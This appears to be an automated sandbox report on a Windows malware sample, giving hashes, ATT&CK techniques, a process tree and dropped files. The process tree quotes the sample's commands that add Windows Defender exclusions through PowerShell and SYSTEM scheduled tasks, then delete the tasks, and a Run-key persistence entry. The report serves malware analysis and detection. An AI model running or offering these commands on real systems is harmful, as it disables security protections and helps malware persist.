2d553591e7f3ac5211ce5166350c66ea3fd78a493ae6c1879ff72a3c1ac7d5c6

Analysis

max time kernel
151s
max time network
135s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
23/10/2026, 04:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-10-22_e84086277bab819ba168c0a772858002_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
Size 30.0MB
Sample261023-e8wcmaby9q
SHA256 2d553591e7f3ac5211ce5166350c66ea3fd78a493ae6c1879ff72a3c1ac7d5c6
MD5 e84086277bab819ba168c0a772858002
SHA1 a45702d49a6632dbb1147924cb8abed3546d92dd
SHA512 82db5075e41c57b26be51974d8007bac52c4a3ef6de31c20b75d0ca087f2e5c432f3ad6bc15cc5b96788a17a5d59ed7bf01899f8b5309b6563d721ad0c75e3ba
SSDEEP 49152:T85t1a8IFXTDqgBEA9xzJkW40bkSnY53wfC8oWz2rf8oW7O6CcxuLxxuLexuLUBk:YlaNCgBxzWWFA3w7Nz2rf8ogCVbojaEl
TLSH
T15E67D68ABB01DDC3F44A9270D45A97E16372ED71CFA1871721A57F157FBE2888ED2088
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 6 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\7tztIu = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4760	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
4964	4jir1R.exe
1788	4jir1R.exe

Loads dropped DLL 2 IoCs

pid	Process
4964	4jir1R.exe
1788	4jir1R.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\7tztIu\\4jir1R.exe\""	4jir1R.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
3732	cmd.exe
1528	cmd.exe
4132	cmd.exe
5732	cmd.exe
3252	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	4jir1R.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5676	cmd.exe
3952	cmd.exe
4508	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-10-22_e84086277bab819ba168c0a772858002_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-10-22_e84086277bab819ba168c0a772858002_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	4jir1R.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	4jir1R.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2964	schtasks.exe
4512	schtasks.exe
2976	schtasks.exe
4532	schtasks.exe
4180	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3504	2026-10-22_e84086277bab819ba168c0a772858002_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
3504	2026-10-22_e84086277bab819ba168c0a772858002_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
3504	2026-10-22_e84086277bab819ba168c0a772858002_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
3504	2026-10-22_e84086277bab819ba168c0a772858002_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
3504	2026-10-22_e84086277bab819ba168c0a772858002_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
3504	2026-10-22_e84086277bab819ba168c0a772858002_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
3504	2026-10-22_e84086277bab819ba168c0a772858002_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
3504	2026-10-22_e84086277bab819ba168c0a772858002_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
3504	2026-10-22_e84086277bab819ba168c0a772858002_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
3504	2026-10-22_e84086277bab819ba168c0a772858002_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
3504	2026-10-22_e84086277bab819ba168c0a772858002_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
3504	2026-10-22_e84086277bab819ba168c0a772858002_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
3504	2026-10-22_e84086277bab819ba168c0a772858002_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
3504	2026-10-22_e84086277bab819ba168c0a772858002_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
3504	2026-10-22_e84086277bab819ba168c0a772858002_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
3504	2026-10-22_e84086277bab819ba168c0a772858002_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
3504	2026-10-22_e84086277bab819ba168c0a772858002_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
3504	2026-10-22_e84086277bab819ba168c0a772858002_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
3504	2026-10-22_e84086277bab819ba168c0a772858002_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
3504	2026-10-22_e84086277bab819ba168c0a772858002_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
3504	2026-10-22_e84086277bab819ba168c0a772858002_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
3504	2026-10-22_e84086277bab819ba168c0a772858002_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
3504	2026-10-22_e84086277bab819ba168c0a772858002_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
3504	2026-10-22_e84086277bab819ba168c0a772858002_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
3504	2026-10-22_e84086277bab819ba168c0a772858002_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
3504	2026-10-22_e84086277bab819ba168c0a772858002_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
3504	2026-10-22_e84086277bab819ba168c0a772858002_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
3504	2026-10-22_e84086277bab819ba168c0a772858002_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
3504	2026-10-22_e84086277bab819ba168c0a772858002_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
3504	2026-10-22_e84086277bab819ba168c0a772858002_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
3504	2026-10-22_e84086277bab819ba168c0a772858002_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
3504	2026-10-22_e84086277bab819ba168c0a772858002_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
4964	4jir1R.exe
4964	4jir1R.exe
4964	4jir1R.exe
4964	4jir1R.exe
4964	4jir1R.exe
4964	4jir1R.exe
4964	4jir1R.exe
4964	4jir1R.exe
4964	4jir1R.exe
4964	4jir1R.exe
4964	4jir1R.exe
4964	4jir1R.exe
4964	4jir1R.exe
4964	4jir1R.exe
4964	4jir1R.exe
4964	4jir1R.exe
4964	4jir1R.exe
4964	4jir1R.exe
4964	4jir1R.exe
4964	4jir1R.exe
4964	4jir1R.exe
4964	4jir1R.exe
4964	4jir1R.exe
4964	4jir1R.exe
4964	4jir1R.exe
4964	4jir1R.exe
4964	4jir1R.exe
4964	4jir1R.exe
4964	4jir1R.exe
4964	4jir1R.exe
4964	4jir1R.exe
4964	4jir1R.exe

Suspicious behavior: LoadsDriver 7 IoCs

pid	Process
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	4760	powershell.exe
Token: SeIncreaseQuotaPrivilege	4760	powershell.exe
Token: SeSecurityPrivilege	4760	powershell.exe
Token: SeTakeOwnershipPrivilege	4760	powershell.exe
Token: SeLoadDriverPrivilege	4760	powershell.exe
Token: SeSystemProfilePrivilege	4760	powershell.exe
Token: SeSystemtimePrivilege	4760	powershell.exe
Token: SeProfSingleProcessPrivilege	4760	powershell.exe
Token: SeIncBasePriorityPrivilege	4760	powershell.exe
Token: SeCreatePagefilePrivilege	4760	powershell.exe
Token: SeBackupPrivilege	4760	powershell.exe
Token: SeRestorePrivilege	4760	powershell.exe
Token: SeShutdownPrivilege	4760	powershell.exe
Token: SeDebugPrivilege	4760	powershell.exe
Token: SeSystemEnvironmentPrivilege	4760	powershell.exe
Token: SeRemoteShutdownPrivilege	4760	powershell.exe
Token: SeUndockPrivilege	4760	powershell.exe
Token: SeManageVolumePrivilege	4760	powershell.exe
Token: 33	4760	powershell.exe
Token: 34	4760	powershell.exe
Token: 35	4760	powershell.exe
Token: 36	4760	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 4964 wrote to memory of 4760	4964	4jir1R.exe	92
PID 4964 wrote to memory of 3252	4964	4jir1R.exe	94
PID 3252 wrote to memory of 4532	3252	cmd.exe	96
PID 3252 wrote to memory of 4300	3252	cmd.exe	99
PID 4964 wrote to memory of 3732	4964	4jir1R.exe	102
PID 3252 wrote to memory of 5624	3252	cmd.exe	104
PID 4964 wrote to memory of 1528	4964	4jir1R.exe	106
PID 3732 wrote to memory of 4180	3732	cmd.exe	108
PID 1528 wrote to memory of 2964	1528	cmd.exe	110
PID 4964 wrote to memory of 4132	4964	4jir1R.exe	109
PID 3732 wrote to memory of 1580	3732	cmd.exe	112
PID 1528 wrote to memory of 3012	1528	cmd.exe	113
PID 4132 wrote to memory of 4512	4132	cmd.exe	114
PID 3732 wrote to memory of 4128	3732	cmd.exe	116
PID 4132 wrote to memory of 5420	4132	cmd.exe	117
PID 1528 wrote to memory of 4824	1528	cmd.exe	118
PID 3952 wrote to memory of 1636	3952	cmd.exe	121
PID 5676 wrote to memory of 3792	5676	cmd.exe	122
PID 4964 wrote to memory of 5732	4964	4jir1R.exe	123
PID 4132 wrote to memory of 4052	4132	cmd.exe	125
PID 5732 wrote to memory of 2976	5732	cmd.exe	126
PID 5732 wrote to memory of 4844	5732	cmd.exe	127
PID 5732 wrote to memory of 2792	5732	cmd.exe	129
PID 4508 wrote to memory of 3752	4508	cmd.exe	131

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-10-22_e84086277bab819ba168c0a772858002_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-22_e84086277bab819ba168c0a772858002_amadey_coinminer_dosia_glassworm_icedid_luca-stealer_njrat_quasar-rat_stealc.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:3504

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5072

C:\Users\Public\7tztIu\4jir1R.exe
"C:\Users\Public\7tztIu\4jir1R.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:4760
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\7tztIu\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3252
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\7tztIu\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4532
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4300
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3732
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4180
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1580
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4128
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1528
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2964
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3012
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4132
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4512
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5420
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5732
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2976
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4844
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2792

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\7tztIu" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5676
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\7tztIu" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3792

C:\Users\Public\7tztIu\4jir1R.exe
"C:\Users\Public\7tztIu\4jir1R.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1788

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:1604

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3952
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1636

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4508
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3752

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 3dca815ae697dc2797fcba463a317bd6399ca2d685d95204beb89cffbf0943ed
MD5 574c701bf29c694d84450bda8e710af6
SHA1 19c90ae2f4f368512e9ba7733bc24071422f03c7
SHA512 5483fbd5a4ed913532501950a54214d3e70277ce6fe89fe8c588c4534288f5bb132450a3d3bc92459e4e85ebfbdd5fe5f406471fc46edef9be71fe2310d02f1b
TLSH
T1D33196BB2BADB9869F2E8E5524DEF1322CE4D1806C9550DA2125C0A45F483B11F6E90C
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 2f911c8b3b201f26a6eef045ffc7d615d6914ae611624e51900cce0255e1d10a
MD5 4114cf9061c5b4d4356f12d5430f1db0
SHA1 141271666fd26ea0de6ad4d9baf9e93c2ca55a81
SHA512 9d3496c694e3dbccc28b755b18e21de2dca288901ef30e126514ac85bf16476a17de187392d22a379a8201a497a9ff2040527aa64fa32feaa7cb69e6abd76a5d
TLSH
T16131D49BCE3950428B0C4F3986D4C63FBCF495699CE4880562BAC23B9A06FBB5FC4104
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 7c447467b8043807243739a44911a0c7a41a08650a7f8bd2cc56b1e4cd373166
MD5 298ee7f11edf9882e51914b539844457
SHA1 9f467273e75a4e47699fcd914ede5f71b9107db6
SHA512 61f5c53bb3c71695f07874e472ec8355f3433b56ca3437c76ec44863f99e8c240926e90daff5dc710f3568923390700f24b5e9f0148a3ea099d812ea3352a03f
TLSH
T129F05C1C197D823DF176D93CC7CA39D61D6FF607240746A90AF8474861898113DA2579
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 92d2b849dcdf91e26bbf4d7d1cfe554772f3a6573098223330a8bc482c80db4f
MD5 876c43d46b308cadae80ba968cf0fd32
SHA1 54750d1b099df244d51be271f4a086144d3e5981
SHA512 c53cd1de46c0d3526c782c3762c230cb2167095d7969475ff1004eb89cb18cb88d34192060a5d9b702102759e92cc74f8795bb3a2f1ea33b679e55375bc53def
TLSH
T1E2F0272D55D9112EF17B85B80AD639B29975F626204723AE19B902C51A55D009C4122E
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_hdg0053h.kso.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hdg0053h.kso.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

4jir1R.exe

Path C:\Users\Public\7tztIu\4jir1R.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\7tztIu\UxEnhance64.dll
Size 3.1MB
SHA256 eb40abe0c835b5c2e379d9814b7507f60c399d21ba3fbf93c96d0e2c7f7b29e3
MD5 67150e52ba9c9d7bf7c08c4870e54da9
SHA1 187860c20f34a12ad41e78c6c85bac6a3a652eca
SHA512 40d6aeac69ccd12408de45021f3d2e2ee16048c4598e72221626c1d7eee14136abfe2cd9d22cbd7b3939b527faba918ef56c753499891a738cb2e82f6bf1993a
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+e:P9m29xx3Tiqt06ox6+z2rNNrKoe
TLSH
T175E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\7tztIu\adoresd.dat
Size 4.8MB
SHA256 68ac4d4b4d0e90d423fec311af1d9c2a8a8cf38785a33fc16610fa8e11f9daeb
MD5 86bc3ebdf4e73fc2df3da2c0604df39e
SHA1 ec1235adec6d928bbd9e08b5255cb4035211ba5e
SHA512 0bdf8911e809ab41994e0c1a436b446042c28db1b8627e1124ffc39c71bad926434c33adc51527834e280481fdfafe2b52f8fd937c7d25dc6f8c0a45c3973e55
SSDEEP 98304:SWjdk+BWRdgiQH5fi2EP8QppMsYpfemnFjrIROuF7dYutYONNClD:SWj3WRdRQH5fimPGmNc7dBtYOc
TLSH
T1873633AB2FC2F55F5582315954D8E0216D7FFEC626CA2B5D6E7888F7A32210A04BD24C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\7tztIu\msadox.tb
Size 8KB
SHA256 fd9dcf3e3364d0cb45fab1724e72de3c807bd890a3b91442046f000712fa8e87
